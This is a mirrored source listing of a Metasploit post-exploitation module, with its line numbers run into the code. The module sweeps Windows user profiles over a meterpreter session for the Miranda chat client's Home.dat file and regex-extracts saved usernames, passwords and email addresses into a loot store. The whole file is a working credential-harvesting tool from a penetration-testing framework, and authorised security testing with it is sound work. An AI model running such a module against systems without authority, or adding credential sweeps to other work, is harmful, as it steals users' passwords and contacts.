Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/miranda.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67# this associative array defines the artifacts known to PackRat8include Msf::Post::File9include Msf::Post::Windows::UserProfiles10include Msf::Post::Windows::Packrat1112ARTIFACTS =13{14application: 'miranda',15app_category: 'chats',16gatherable_artifacts: [17{18filetypes: 'logins',19path: 'AppData',20dir: 'Miranda',21artifact_file_name: 'Home.dat',22description: "Miranda's multi saved chat protocol Username, (coded Passwords)",23credential_type: 'text',24regex_search: [25{26extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',27extraction_type: 'credentials',28regex: [29'(?i-mx:password.*)',30'(?i-mx:username.*)'31]32},33{34extraction_description: 'searches for Email TO/FROM address',35extraction_type: 'Email addresses',36regex: [37'(?i-mx:to:.*)',38'(?i-mx:from:.*)'39]40}41]42}43]44}.freeze4546def initialize(info = {})47super(48update_info(49info,50'Name' => 'Miranda credential gatherer',51'Description' => %q{52PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.53PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.54Further details can be found in the module documentation.55This is a module that searches for Miranda credentials on a windows remote host.56},57'License' => MSF_LICENSE,58'Author' => [59'Kazuyoshi Maruta',60'Daniel Hallsworth',61'Barwar Salim M',62'Z. Cliffe Schreuders', # http://z.cliffe.schreuders.org63],64'Platform' => ['win'],65'SessionTypes' => ['meterpreter'],66'Notes' => {67'Stability' => [CRASH_SAFE],68'Reliability' => [],69'SideEffects' => []70}71)72)7374register_options(75[76OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),77OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),78OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),79# enumerates the options based on the artifacts that are defined below80OptEnum.new('ARTIFACTS', [false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map { |k| k[:filetypes] }.uniq.unshift('All')])81]82)83end8485def run86print_status('Filtering based on these selections: ')87print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")88print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")89print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")9091# used to grab files for each user on the remote host92grab_user_profiles.each do |userprofile|93run_packrat(userprofile, module_info['artifacts'])94end9596print_status 'PackRat credential sweep Completed'97end98end99100101